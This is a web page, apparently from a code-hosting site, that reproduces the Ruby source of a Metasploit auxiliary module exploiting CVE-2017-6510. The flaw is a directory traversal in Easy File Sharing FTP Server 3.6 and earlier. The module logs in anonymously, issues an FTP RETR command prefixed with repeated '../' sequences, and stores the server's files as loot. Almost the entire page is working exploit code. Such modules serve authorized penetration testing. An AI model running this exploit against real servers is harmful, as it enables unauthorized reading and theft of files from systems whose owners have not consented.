Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/ftp/easy_file_sharing_ftp.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Ftp7include Msf::Auxiliary::Report8include Msf::Auxiliary::Scanner910def initialize(info = {})11super(update_info(info,12'Name' => 'Easy File Sharing FTP Server 3.6 Directory Traversal',13'Description' => %q{14This module exploits a directory traversal vulnerability found in Easy File Sharing FTP Server Version 3.6 and Earlier.15This vulnerability allows an attacker to download arbitrary files from the server by crafting16a RETR command that includes file system traversal strings such as '../'17},18'Platform' => 'win',19'Author' =>20[21'Ahmed Elhady Mohamed' # @kingasmk ahmed.elhady.mohamed[at]gmail.com22],23'License' => MSF_LICENSE,24'References' =>25[26[ 'CVE', '2017-6510']27],28'DisclosureDate' => '2017-03-07'29))3031register_options(32[33OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]),34OptString.new('PATH', [ true, "Path to the file to disclose, relative to the root dir.", 'boot.ini'])35])36end3738def check_host(ip)39begin40connect41if /Easy File Sharing FTP Server/i === banner42return Exploit::CheckCode::Detected43end44ensure45disconnect46end4748Exploit::CheckCode::Safe49end5051def run_host(target_host)52begin53# Login anonymously and open the socket that we'll use for data retrieval.54connect_login55sock = data_connect56if sock.nil?57error_msg = 'data_connect failed; possible invalid response'58print_status(error_msg)59elog(error_msg)60else61file_path = datastore['PATH']62file = ::File.basename(file_path)6364# make RETR request and store server response message...65retr_cmd = ( "../" * datastore['DEPTH'] ) + "#{file_path}"66res = send_cmd( ["RETR", retr_cmd])6768# read the file data from the socket that we opened69# dont assume theres still a sock to read from. Per #758270if sock.nil?71error_msg = 'data_connect failed; possible invalid response'72print_status(error_msg)73elog(error_msg)74return75else76# read the file data from the socket that we opened77response_data = sock.read(1024)78end7980unless response_data81print_error("#{file_path} not found")82return83end8485if response_data.length == 0 or ! (res =~ /^150/ )86print_status("File (#{file_path})from #{peer} is empty...")87return88end8990# store file data to loot91loot_file = store_loot("easy.file.sharing.ftp.data", "text", rhost, response_data, file, file_path)92vprint_status("Data returned:\n")93vprint_line(response_data)94print_good("Stored #{file_path} to #{loot_file}")95end9697rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e98vprint_error(e.message)99elog(e)100rescue ::Timeout::Error, ::Errno::EPIPE => e101vprint_error(e.message)102elog(e)103ensure104data_disconnect105disconnect106end107end108end109110111